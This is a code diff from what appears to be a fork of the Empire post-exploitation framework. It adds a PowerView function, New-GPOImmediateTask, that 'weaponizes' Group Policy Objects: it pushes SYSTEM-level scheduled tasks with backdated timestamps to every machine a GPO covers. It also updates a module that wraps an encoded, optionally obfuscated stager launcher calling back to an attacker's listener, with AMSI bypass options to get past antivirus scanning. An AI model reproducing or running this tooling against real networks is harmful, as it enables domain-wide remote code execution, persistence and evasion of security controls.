14224 | ||
14225 | .PARAMETER Domain | |
14226 | ||
14227 | The domain to query for the GPOs, defaults to the current domain. | |
14228 | ||
14229 | .PARAMETER SearchBase | |
14230 | ||
14231 | The LDAP source to search through | |
14232 | e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" | |
14233 | ||
14234 | .PARAMETER Credential | |
14235 | ||
14236 | A [Management.Automation.PSCredential] object of alternate credentials | |
14237 | for connection to the target. | |
14238 | ||
14239 | .PARAMETER SearchBase | |
14240 | ||
14241 | The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" | |
14242 | Useful for OU queries. | |
14243 | ||
14244 | .PARAMETER Server | |
14245 | ||
14246 | Specifies an Active Directory server (domain controller) to bind to. | |
14247 | ||
14248 | .PARAMETER SearchScope | |
14249 | ||
14250 | Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). | |
14251 | ||
14252 | .PARAMETER ServerTimeLimit | |
14253 | ||
14254 | Specifies the maximum amount of time the server spends searching. Default of 120 seconds. | |
14255 | ||
14256 | .PARAMETER Target | |
14257 | ||
14258 | Specifies if the immediate task will be configure for the user or machine part of the GPO. | |
14259 | ||
14260 | .EXAMPLE | |
14261 | ||
14262 | PS> New-GPOImmediateTask -TaskName Debugging -GPO SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force | |
14263 | ||
14264 | Create an immediate schtask that executes the specified PowerShell arguments and | |
14265 | push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. | |
14266 | ||
14267 | .EXAMPLE | |
14268 | ||
14269 | PS> New-GPOImmediateTask -GPO SecurePolicy -TaskName MyTask -Remove -Force | |
14270 | ||
14271 | Remove immediate task named 'MyTask' from the 'SecurePolicy' GPO, skipping the confirmation prompt. | |
14272 | #> | |
14273 | [CmdletBinding(DefaultParameterSetName = 'Create')] | |
14274 | Param ( | |
14275 | ||
14276 | [Parameter(ParameterSetName = 'Create', Mandatory = $True)] | |
14277 | [Parameter(ParameterSetName = 'Remove', Mandatory = $True)] | |
14278 | [String] | |
14279 | [ValidateNotNullOrEmpty()] | |
14280 | $TaskName, | |
14281 | ||
14282 | [Parameter(ParameterSetName = 'Create')] | |
14283 | [String] | |
14284 | [ValidateNotNullOrEmpty()] | |
14285 | $Command = 'powershell', | |
14286 | ||
14287 | [Parameter(ParameterSetName = 'Create')] | |
14288 | [String] | |
14289 | [ValidateNotNullOrEmpty()] | |
14290 | $CommandArguments, | |
14291 | ||
14292 | [Parameter(ParameterSetName = 'Create')] | |
14293 | [String] | |
14294 | [ValidateNotNullOrEmpty()] | |
14295 | $TaskDescription = '', | |
14296 | ||
14297 | [Parameter(ParameterSetName = 'Create')] | |
14298 | [String] | |
14299 | [ValidateNotNullOrEmpty()] | |
14300 | $TaskAuthor = 'NT AUTHORITY\System', | |
14301 | ||
14302 | [Parameter(ParameterSetName = 'Create')] | |
14303 | [String] | |
14304 | [ValidateNotNullOrEmpty()] | |
14305 | $TaskRunAs = 'NT AUTHORITY\System', | |
14306 | ||
14307 | [Parameter(ParameterSetName = 'Create')] | |
14308 | [String] | |
14309 | [ValidateNotNullOrEmpty()] | |
14310 | $TaskLogonType = 'S4U', | |
14311 | ||
14312 | [Parameter(ParameterSetName = 'Create')] | |
14313 | [String] | |
14314 | [ValidateNotNullOrEmpty()] | |
14315 | $TaskRunLevel = 'HighestAvailable', | |
14316 | ||
14317 | [Parameter(ParameterSetName = 'Create')] | |
14318 | [String] | |
14319 | [ValidateNotNullOrEmpty()] | |
14320 | $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), | |
14321 | ||
14322 | [Parameter(ParameterSetName = 'Create')] | |
14323 | [String] | |
14324 | [ValidateNotNullOrEmpty()] | |
14325 | $TaskGuid = [Guid]::NewGuid(), | |
14326 | ||
14327 | [Parameter(ParameterSetName = 'Create')] | |
14328 | [Parameter(ParameterSetName = 'Remove')] | |
14329 | [String] | |
14330 | $GPO, | |
14331 | ||
14332 | [Parameter(ParameterSetName = 'Create')] | |
14333 | [Parameter(ParameterSetName = 'Remove')] | |
14334 | [ValidateSet('Machine','User')] | |
14335 | [String] | |
14336 | $Target = 'Machine', | |
14337 | ||
14338 | [Parameter(ParameterSetName = 'Create')] | |
14339 | [Parameter(ParameterSetName = 'Remove')] | |
14340 | [String] | |
14341 | $Domain, | |
14342 | ||
14343 | [Parameter(ParameterSetName = 'Create')] | |
14344 | [Parameter(ParameterSetName = 'Remove')] | |
14345 | [Management.Automation.PSCredential] | |
14346 | $Credential, | |
14347 | ||
14348 | [Parameter(ParameterSetName = 'Create')] | |
14349 | [Parameter(ParameterSetName = 'Remove')] | |
14350 | $LDAPFilter, | |
14351 | ||
14352 | [Parameter(ParameterSetName = 'Create')] | |
14353 | [Parameter(ParameterSetName = 'Remove')] | |
14354 | [String] | |
14355 | $SearchBase, | |
14356 | ||
14357 | [Parameter(ParameterSetName = 'Create')] | |
14358 | [Parameter(ParameterSetName = 'Remove')] | |
14359 | [String] | |
14360 | $Server, | |
14361 | ||
14362 | [Parameter(ParameterSetName = 'Create')] | |
14363 | [Parameter(ParameterSetName = 'Remove')] | |
14364 | [String] | |
14365 | $SearchScope, | |
14366 | ||
14367 | [Parameter(ParameterSetName = 'Create')] | |
14368 | [Parameter(ParameterSetName = 'Remove')] | |
14369 | [String] | |
14370 | $ServerTimeLimit, | |
14371 | ||
14372 | [Parameter(ParameterSetName = 'Create')] | |
14373 | [Parameter(ParameterSetName = 'Remove')] | |
14374 | [Switch] | |
14375 | $Force, | |
14376 | ||
14377 | [Parameter(ParameterSetName = 'Remove')] | |
14378 | [Switch] | |
14379 | $Remove | |
14380 | ) | |
14381 | ||
14382 | BEGIN { | |
14383 | $SearcherArguments = @{} | |
14384 | if ($PSBoundParameters['GPO']) { $SearcherArguments['Identity'] = $GPO } | |
14385 | if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
14386 | if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
14387 | if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
14388 | if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } | |
14389 | if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
14390 | if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
14391 | if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
14392 | } | |
14393 | ||
14394 | PROCESS { | |
14395 | # enumerate the specified GPO(s) | |
14396 | $GPOs = Get-DomainGPO @SearcherArguments -Raw | |
14397 | ||
14398 | if(!$GPOs) { | |
14399 | Write-Warning '[New-GPOImmediateTask] No GPO found.' | |
14400 | return | |
14401 | } | |
14402 | ||
14403 | ForEach($GPORaw in $GPOs) { | |
14404 | $GPOEntry = $GPORaw.GetDirectoryEntry() | |
14405 | $ProcessedGPOName = $GPOEntry.Name | |
14406 | Write-Verbose "[New-GPOImmediateTask] Trying to weaponize GPO: $ProcessedGPOName" | |
14407 | ||
14408 | $TaskPath = Join-Path $GPOEntry.gPCFileSysPath "\$Target\Preferences\ScheduledTasks\" | |
14409 | $TaskXMLPath = Join-Path $TaskPath "\ScheduledTasks.xml" | |
14410 | ||
14411 | if($Remove) { | |
14412 | if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskXMLPath")) { | |
14413 | return | |
14414 | } | |
14415 | ||
14416 | if (Test-Path $TaskXMLPath) { | |
14417 | # remove our immediate task from scheduled tasks XML file | |
14418 | $TaskXML = [xml](Get-Content -Path $TaskXMLPath -Encoding ASCII) | |
14419 | $OldImmediateTasks = $TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName | |
14420 | ForEach ($OldImmediateTask in $OldImmediateTasks) { | |
14421 | $Null = $TaskXML.ScheduledTasks.RemoveChild($OldImmediateTask) | |
14422 | } | |
14423 | $TaskXML.Save($TaskXMLPath) | |
14424 | ||
14425 | if ($TaskXML.ScheduledTasks.ChildNodes.Count -eq 0) { | |
14426 | Remove-Item -Path $TaskXMLPath -Force | |
14427 | ||
14428 | # remove GUID for ImmediateTask from gPCMachineExtensionNames | |
14429 | # or gPCUserExtensionNames | |
14430 | if ($Target -eq "Machine") { | |
14431 | $extensionNames = "gPCMachineExtensionNames" | |
14432 | } else { | |
14433 | $extensionNames = "gPCUserExtensionNames" | |
14434 | } | |
14435 | ||
14436 | $ZeroGuid = "00000000-0000-0000-0000-000000000000" | |
14437 | $ScheduledTasksCSEGuid = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72" | |
14438 | $ScheduledTasksTEGuid = "AADCED64-746C-4633-A97C-D61349046527" | |
14439 | ||
14440 | if ($GPOEntry.Properties[$extensionNames] -and $GPOEntry.Properties[$extensionNames].Value.ToString().Contains($ScheduledTasksCSEGuid)) { | |
14441 | $OldExtensionNames = $GPOEntry.Properties[$extensionNames].Value.ToString() | |
14442 | $OldGUIDSplit = $OldExtensionNames.Split('][',[System.StringSplitOptions]::RemoveEmptyEntries) | |
14443 | ||
14444 | $OldGUIDs = New-Object System.Collections.ArrayList | |
14445 | ForEach ($GUIDs in $OldGUIDSplit) { | |
14446 | $GUIDs = $GUIDs.Split("}{",[System.StringSplitOptions]::RemoveEmptyEntries) -replace "[\{\[\]]", "" | |
14447 | $OldGUID = New-Object System.Collections.ArrayList(,$GUIDs) | |
14448 | $Null = $OldGUIDs.Add($OldGUID) | |
14449 | } | |
14450 | ||
14451 | $NewGUIDs = New-Object System.Collections.ArrayList | |
14452 | ||
14453 | ForEach ($OldGUID in $OldGUIDs) { | |
14454 | # updating CSE GUID | |
14455 | if ($OldGUID.Contains($ZeroGuid) -and $OldGUID.Contains($ScheduledTasksCSEGuid)) { | |
14456 | $Null = $OldGUID.Remove($ScheduledTasksCSEGuid) | |
14457 | if ($OldGUID.Count -gt 1) { | |
14458 | $OldGUID = $OldGUID | Sort-Object | |
14459 | $Null = $NewGUIDs.Add($OldGUID) | |
14460 | } | |
14461 | # updating tool extension GUID for ScheduledTasks | |
14462 | } elseif (!($OldGUID.Contains($ScheduledTasksTEGuid) -and $OldGUID.Contains($ScheduledTasksCSEGuid))) { | |
14463 | $Null = $NewGUIDs.Add($OldGUID) | |
14464 | } | |
14465 | } | |
14466 | ||
14467 | if ($NewGUIDs.Count -gt 0) { | |
14468 | $NewGUIDs = $NewGUIDs | Sort-Object | |
14469 | ||
14470 | # format for extensionNames field | |
14471 | $FormatedGUIDs = New-Object System.Collections.ArrayList | |
14472 | ForEach ($GUIDs in $NewGUIDs) { | |
14473 | $FormatedGUID = "" | |
14474 | ForEach ($GUID in $GUIDs) { | |
14475 | $FormatedGUID += "{"+$GUID+"}" | |
14476 | } | |
14477 | $FormatedGUID = "["+$FormatedGUID+"]" | |
14478 | $Null = $FormatedGUIDs.Add($FormatedGUID) | |
14479 | } | |
14480 | $NewGUIDsString = -Join $FormatedGUIDs | |
14481 | ||
14482 | Write-Verbose "[New-GPOImmediateTask] New extensionNames $NewGUIDsString" | |
14483 | ||
14484 | $GPOEntry.Properties[$extensionNames].Value = $NewGUIDsString | |
14485 | } else { | |
14486 | $GPOEntry.Properties[$extensionNames].Clear() | |
14487 | } | |
14488 | } | |
14489 | } | |
14490 | } | |
14491 | } | |
14492 | else { | |
14493 | if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskXMLPath")) { | |
14494 | return | |
14495 | } | |
14496 | ||
14497 | # create the folder if it doesn't exist | |
14498 | $Null = New-Item -ItemType Directory -Force -Path $TaskPath | |
14499 | ||
14500 | # build the XML spec for our 'immediate' scheduled task | |
14501 | [xml] $ImmediateTaskXML = '<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$TaskGuid+'}"><Properties action="C" name="'+$TaskName+'" runAs="'+$TaskRunAs+'" logonType="'+$TaskLogonType+'"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>'+$TaskRunAs+'</UserId><LogonType>'+$TaskLogonType+'</LogonType><RunLevel>'+$TaskRunLevel+'</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions></Task></Properties></ImmediateTaskV2>' | |
14502 | ||
14503 | # add our immediate task in scheduled tasks XML file | |
14504 | if (Test-Path $TaskXMLPath) { | |
14505 | $TaskXML = [xml](Get-Content -Path $TaskXMLPath -Encoding ASCII) | |
14506 | if ($TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName) { | |
14507 | if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Overwritting immediate task named $TaskName")) { | |
14508 | return | |
14509 | } | |
14510 | $OldImmediateTasks = $TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName | |
14511 | ForEach ($OldImmediateTask in $OldImmediateTasks) { | |
14512 | $Null = $TaskXML.ScheduledTasks.RemoveChild($OldImmediateTask) | |
14513 | } | |
14514 | } | |
14515 | } else { | |
14516 | [xml] $TaskXML = [xml] '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"></ScheduledTasks>' | |
14517 | } | |
14518 | $Null = $TaskXML.ScheduledTasks.AppendChild($TaskXML.ImportNode($ImmediateTaskXML.ImmediateTaskV2, $true)) | |
14519 | $TaskXML.Save($TaskXMLPath) | |
14520 | ||
14521 | # add GUID for ImmediateTask in gPCMachineExtensionNames or | |
14522 | # gPCUserExtensionNames | |
14523 | if ($Target -eq "Machine") { | |
14524 | $extensionNames = "gPCMachineExtensionNames" | |
14525 | } else { | |
14526 | $extensionNames = "gPCUserExtensionNames" | |
14527 | } | |
14528 | ||
14529 | $ZeroGuid = "00000000-0000-0000-0000-000000000000" | |
14530 | $ScheduledTasksCSEGuid = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72" | |
14531 | $ScheduledTasksTEGuid = "AADCED64-746C-4633-A97C-D61349046527" | |
14532 | ||
14533 | if (!$GPOEntry.Properties[$extensionNames]) { | |
14534 | $GPOEntry.Properties[$extensionNames].Value = "[{"+$ZeroGuid+"}{"+$ScheduledTasksCSEGuid+"}]"+"[{"+ $ScheduledTasksTEGuid+"}{"+$ScheduledTasksCSEGuid+"}]" | |
14535 | } elseif (!$GPOEntry.Properties[$extensionNames].Value.ToString().Contains($ScheduledTasksCSEGuid)) { | |
14536 | $OldExtensionNames = $GPOEntry.Properties[$extensionNames].Value.ToString() | |
14537 | $OldGUIDSplit = $OldExtensionNames.Split('][',[System.StringSplitOptions]::RemoveEmptyEntries) | |
14538 | ||
14539 | $OldGUIDs = New-Object System.Collections.ArrayList | |
14540 | ForEach ($GUIDs in $OldGUIDSplit) { | |
14541 | $GUIDs = $GUIDs.Split("}{",[System.StringSplitOptions]::RemoveEmptyEntries) -replace "[\{\[\]]", "" | |
14542 | $OldGUID = New-Object System.Collections.ArrayList(,$GUIDs) | |
14543 | $Null = $OldGUIDs.Add($OldGUID) | |
14544 | } | |
14545 | ||
14546 | $NewGUIDs = New-Object System.Collections.ArrayList | |
14547 | ||
14548 | # add CSE GUID | |
14549 | if (!$OldExtensionNames.Contains($ZeroGuid)) { | |
14550 | $Null = $OldGUIDs.Add(@($ZeroGuid, $ScheduledTasksCSEGuid)) | |
14551 | } | |
14552 | ||
14553 | # add tool extension GUID for ScheduledTasks | |
14554 | if (!$OldExtensionNames.Contains($ScheduledTasksTEGuid)) { | |
14555 | $Null = $OldGUIDs.Add(@($ScheduledTasksTEGuid, $ScheduledTasksCSEGuid)) | |
14556 | } | |
14557 | ||
14558 | ForEach ($OldGUID in $OldGUIDs) { | |
14559 | # updating CSE GUID | |
14560 | if ($OldGUID.Contains($ZeroGuid) -and -not $OldGUID.Contains($ScheduledTasksCSEGuid)) { | |
14561 | $Null = $OldGUID.Add($ScheduledTasksCSEGuid) | |
14562 | $OldGUID = $OldGUID | Sort-Object | |
14563 | $Null = $NewGUIDs.Add($OldGUID) | |
14564 | # updating tool extension GUID for ScheduledTasks | |
14565 | } elseif ($OldGUID.Contains($ScheduledTasksTEGuid) -and -not $OldGUID.Contains($ScheduledTasksCSEGuid)) { | |
14566 | $Null = $OldGUID.Add($ScheduledTasksCSEGuid) | |
14567 | $OldGUID = $OldGUID | Sort-Object | |
14568 | $Null = $NewGUIDs.Add($OldGUID) | |
14569 | } else { | |
14570 | $Null = $NewGUIDs.Add($OldGUID) | |
14571 | } | |
14572 | } | |
14573 | ||
14574 | $NewGUIDs = $NewGUIDs | Sort-Object | |
14575 | ||
14576 | # format for extensionNames field | |
14577 | $FormatedGUIDs = New-Object System.Collections.ArrayList | |
14578 | ForEach ($GUIDs in $NewGUIDs) { | |
14579 | $FormatedGUID = "" | |
14580 | ForEach ($GUID in $GUIDs) { | |
14581 | $FormatedGUID += "{"+$GUID+"}" | |
14582 | } | |
14583 | $FormatedGUID = "["+$FormatedGUID+"]" | |
14584 | $Null = $FormatedGUIDs.Add($FormatedGUID) | |
14585 | } | |
14586 | $NewGUIDsString = -Join $FormatedGUIDs | |
14587 | ||
14588 | Write-Verbose "[New-GPOImmediateTask] New extensionNames $NewGUIDsString" | |
14589 | ||
14590 | $GPOEntry.Properties[$extensionNames].Value = $NewGUIDsString | |
14591 | } | |
14592 | } | |
14593 | ||
14594 | # update versionNumber | |
14595 | $NewVersionNumber = [Convert]::ToInt32($GPOEntry.Properties["versionNumber"].Value) + 1 | |
14596 | $GPOEntry.Properties["versionNumber"].Value = $NewVersionNumber | |
14597 | Write-Verbose "[New-GPOImmediateTask] New versionNumber $NewVersionNumber" | |
14598 | ||
14599 | $GPOEntry.CommitChanges() | |
14600 | ||
14601 | # also update versionNumber in GPT.ini | |
14602 | $GPTPath = Join-Path $GPOEntry.gPCFileSysPath "\GPT.ini" | |
14603 | $GPTOldContent = Get-Content -Path $GPTPath | |
14604 | $GPTNewContent = $GPTOldContent -replace "Version=.*$","Version=$NewVersionNumber" | |
14605 | Set-Content -Encoding ASCII -PATH $GPTPath -Value $GPTNewContent | |
14606 | } | |
14607 | } | |
14608 | } | |
14609 | ||
14159 | 14610 | ######################################################## |
14160 | 14611 | # |
14161 | 14612 | # Functions that enumerate a single host, either through |
17 | 17 | |
18 | 18 | from flask_socketio import SocketIO |
19 | 19 | |
20 | VERSION = "3.5.1 BC Security Fork" | |
20 | VERSION = "3.5.2 BC Security Fork" | |
21 | 21 | |
22 | 22 | from pydispatch import dispatcher |
23 | 23 |
20 | 20 | |
21 | 21 | 'Techniques': ['T1028'], |
22 | 22 | |
23 | 'Background' : False, | |
23 | 'Background' : True, | |
24 | 24 | |
25 | 25 | 'OutputExtension' : None, |
26 | 26 |
20 | 20 | |
21 | 21 | 'Techniques': ['T1053'], |
22 | 22 | |
23 | 'Background' : True, | |
24 | ||
25 | 'OutputExtension' : None, | |
26 | ||
27 | 'NeedsAdmin' : False, | |
28 | ||
29 | 'OpsecSafe' : True, | |
30 | ||
31 | 'Language' : 'powershell', | |
32 | ||
33 | 'MinLanguageVersion' : '2', | |
34 | ||
23 | 'Background': True, | |
24 | ||
25 | 'OutputExtension': None, | |
26 | ||
27 | 'NeedsAdmin': False, | |
28 | ||
29 | 'OpsecSafe': True, | |
30 | ||
31 | 'Language': 'powershell', | |
32 | ||
33 | 'MinLanguageVersion': '2', | |
34 | ||
35 | 35 | 'Comments': [ |
36 | 36 | 'https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/' |
37 | 37 | ] |
41 | 41 | self.options = { |
42 | 42 | # format: |
43 | 43 | # value_name : {description, required, default_value} |
44 | 'Agent' : { | |
45 | 'Description' : 'Agent to run module on.', | |
46 | 'Required' : True, | |
47 | 'Value' : '' | |
48 | }, | |
49 | 'TaskName' : { | |
50 | 'Description' : 'Name for the schtask to create.', | |
51 | 'Required' : True, | |
52 | 'Value' : 'Debug' | |
53 | }, | |
54 | 'TaskDescription' : { | |
55 | 'Description' : 'Name for the schtask to create.', | |
56 | 'Required' : False, | |
57 | 'Value' : 'Debugging functionality.' | |
58 | }, | |
59 | 'TaskAuthor' : { | |
60 | 'Description' : 'Name for the schtask to create.', | |
61 | 'Required' : True, | |
62 | 'Value' : 'NT AUTHORITY\System' | |
63 | }, | |
64 | 'GPOname' : { | |
65 | 'Description' : 'The GPO name to build the task for.', | |
66 | 'Required' : False, | |
67 | 'Value' : '' | |
68 | }, | |
69 | 'GPODisplayName' : { | |
70 | 'Description' : 'The GPO display name to build the task for.', | |
71 | 'Required' : False, | |
72 | 'Value' : '' | |
73 | }, | |
74 | 'Domain' : { | |
75 | 'Description' : 'The domain to query for the GPOs, defaults to the current domain.', | |
76 | 'Required' : False, | |
77 | 'Value' : '' | |
78 | }, | |
79 | 'DomainController' : { | |
80 | 'Description' : 'Domain controller to reflect LDAP queries through.', | |
81 | 'Required' : False, | |
82 | 'Value' : '' | |
83 | }, | |
84 | 'Listener' : { | |
85 | 'Description' : 'Listener to use.', | |
86 | 'Required' : True, | |
87 | 'Value' : '' | |
88 | }, | |
89 | 'UserAgent' : { | |
90 | 'Description' : 'User-agent string to use for the staging request (default, none, or other).', | |
91 | 'Required' : False, | |
92 | 'Value' : 'default' | |
93 | }, | |
94 | 'Proxy' : { | |
95 | 'Description' : 'Proxy to use for request (default, none, or other).', | |
96 | 'Required' : False, | |
97 | 'Value' : 'default' | |
98 | }, | |
99 | 'ProxyCreds' : { | |
100 | 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', | |
101 | 'Required' : False, | |
102 | 'Value' : 'default' | |
103 | }, | |
104 | 'Remove' : { | |
105 | 'Description' : 'Switch. Remove the immediate schtask.', | |
106 | 'Required' : False, | |
107 | 'Value' : 'default' | |
44 | 'Agent': { | |
45 | 'Description': 'Agent to run module on.', | |
46 | 'Required': True, | |
47 | 'Value': '' | |
48 | }, | |
49 | 'TaskName': { | |
50 | 'Description': 'Name for the schtask to create.', | |
51 | 'Required': True, | |
52 | 'Value': 'Debug' | |
53 | }, | |
54 | 'TaskDescription': { | |
55 | 'Description': 'Name for the schtask to create.', | |
56 | 'Required': False, | |
57 | 'Value': 'Debugging functionality.' | |
58 | }, | |
59 | 'TaskAuthor': { | |
60 | 'Description': 'Name for the schtask to create.', | |
61 | 'Required': True, | |
62 | 'Value': 'NT AUTHORITY\System' | |
63 | }, | |
64 | 'GPOname': { | |
65 | 'Description': 'The GPO name to build the task for.', | |
66 | 'Required': False, | |
67 | 'Value': '' | |
68 | }, | |
69 | 'GPODisplayName': { | |
70 | 'Description': 'The GPO display name to build the task for.', | |
71 | 'Required': False, | |
72 | 'Value': '' | |
73 | }, | |
74 | 'Domain': { | |
75 | 'Description': 'The domain to query for the GPOs, defaults to the current domain.', | |
76 | 'Required': False, | |
77 | 'Value': '' | |
78 | }, | |
79 | 'DomainController': { | |
80 | 'Description': 'Domain controller to reflect LDAP queries through.', | |
81 | 'Required': False, | |
82 | 'Value': '' | |
83 | }, | |
84 | 'Listener': { | |
85 | 'Description': 'Listener to use.', | |
86 | 'Required': True, | |
87 | 'Value': '' | |
88 | }, | |
89 | 'UserAgent': { | |
90 | 'Description': 'User-agent string to use for the staging request (default, none, or other).', | |
91 | 'Required': False, | |
92 | 'Value': 'default' | |
93 | }, | |
94 | 'Proxy': { | |
95 | 'Description': 'Proxy to use for request (default, none, or other).', | |
96 | 'Required': False, | |
97 | 'Value': 'default' | |
98 | }, | |
99 | 'ProxyCreds': { | |
100 | 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', | |
101 | 'Required': False, | |
102 | 'Value': 'default' | |
103 | }, | |
104 | 'Remove': { | |
105 | 'Description': 'Switch. Remove the immediate schtask.', | |
106 | 'Required': False, | |
107 | 'Value': 'default' | |
108 | }, | |
109 | 'Obfuscate': { | |
110 | 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', | |
111 | 'Required': False, | |
112 | 'Value': 'False' | |
113 | }, | |
114 | 'ObfuscateCommand': { | |
115 | 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', | |
116 | 'Required': False, | |
117 | 'Value': r'Token\All\1' | |
118 | }, | |
119 | 'AMSIBypass': { | |
120 | 'Description': 'Include mattifestation\'s AMSI Bypass in the stager code.', | |
121 | 'Required': False, | |
122 | 'Value': 'True' | |
123 | }, | |
124 | 'AMSIBypass2': { | |
125 | 'Description': 'Include Tal Liberman\'s AMSI Bypass in the stager code.', | |
126 | 'Required': False, | |
127 | 'Value': 'False' | |
108 | 128 | } |
109 | 129 | } |
110 | 130 | |
118 | 138 | if option in self.options: |
119 | 139 | self.options[option]['Value'] = value |
120 | 140 | |
121 | ||
122 | 141 | def generate(self, obfuscate=False, obfuscationCommand=""): |
123 | ||
124 | 142 | # Set booleans to false by default |
125 | 143 | Obfuscate = False |
126 | 144 | AMSIBypass = False |
127 | 145 | AMSIBypass2 = False |
128 | ||
129 | moduleName = self.info["Name"] | |
130 | listenerName = self.options['Listener']['Value'] | |
131 | userAgent = self.options['UserAgent']['Value'] | |
146 | ||
147 | module_name = self.info["Name"] | |
148 | listener_name = self.options['Listener']['Value'] | |
149 | user_agent = self.options['UserAgent']['Value'] | |
132 | 150 | proxy = self.options['Proxy']['Value'] |
133 | proxyCreds = self.options['ProxyCreds']['Value'] | |
151 | proxy_creds = self.options['ProxyCreds']['Value'] | |
134 | 152 | if (self.options['Obfuscate']['Value']).lower() == 'true': |
135 | 153 | Obfuscate = True |
136 | 154 | ObfuscateCommand = self.options['ObfuscateCommand']['Value'] |
139 | 157 | if (self.options['AMSIBypass2']['Value']).lower() == 'true': |
140 | 158 | AMSIBypass2 = True |
141 | 159 | |
142 | if not self.mainMenu.listeners.is_listener_valid(listenerName): | |
160 | if not self.mainMenu.listeners.is_listener_valid(listener_name): | |
143 | 161 | # not a valid listener, return nothing for the script |
144 | print(helpers.color("[!] Invalid listener: " + listenerName)) | |
162 | print(helpers.color("[!] Invalid listener: " + listener_name)) | |
145 | 163 | return "" |
146 | 164 | |
147 | 165 | else: |
148 | 166 | |
149 | 167 | # generate the PowerShell one-liner with all of the proper options set |
150 | launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, obfuscate=Obfuscate, obfuscationCommand=ObfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, AMSIBypass=AMSIBypass, AMSIBypass2=AMSIBypass2) | |
151 | ||
152 | command = "/c \""+launcher+"\"" | |
168 | launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=True, | |
169 | obfuscate=Obfuscate, obfuscationCommand=ObfuscateCommand, | |
170 | userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, | |
171 | AMSIBypass=AMSIBypass, AMSIBypass2=AMSIBypass2) | |
172 | ||
173 | command = "/c \"" + launcher + "\"" | |
153 | 174 | |
154 | 175 | if command == "": |
155 | 176 | return "" |
157 | 178 | else: |
158 | 179 | |
159 | 180 | # read in the common powerview.ps1 module source code |
160 | moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" | |
181 | module_source = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" | |
161 | 182 | try: |
162 | f = open(moduleSource, 'r') | |
183 | f = open(module_source, 'r') | |
163 | 184 | except: |
164 | print(helpers.color("[!] Could not read module source path at: " + str(moduleSource))) | |
185 | print(helpers.color("[!] Could not read module source path at: " + str(module_source))) | |
165 | 186 | return "" |
166 | 187 | |
167 | moduleCode = f.read() | |
188 | module_code = f.read() | |
168 | 189 | f.close() |
169 | 190 | |
170 | 191 | # get just the code needed for the specified function |
171 | script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) | |
172 | ||
173 | script = moduleName + " -Command cmd -CommandArguments '"+command+"' -Force" | |
174 | ||
175 | for option,values in self.options.items(): | |
176 | if option.lower() in ["taskname", "taskdescription", "taskauthor", "gponame", "gpodisplayname", "domain", "domaincontroller"]: | |
192 | script = helpers.generate_dynamic_powershell_script(module_code, module_name) | |
193 | ||
194 | script = module_name + " -Command cmd -CommandArguments '" + command + "' -Force" | |
195 | ||
196 | for option, values in self.options.items(): | |
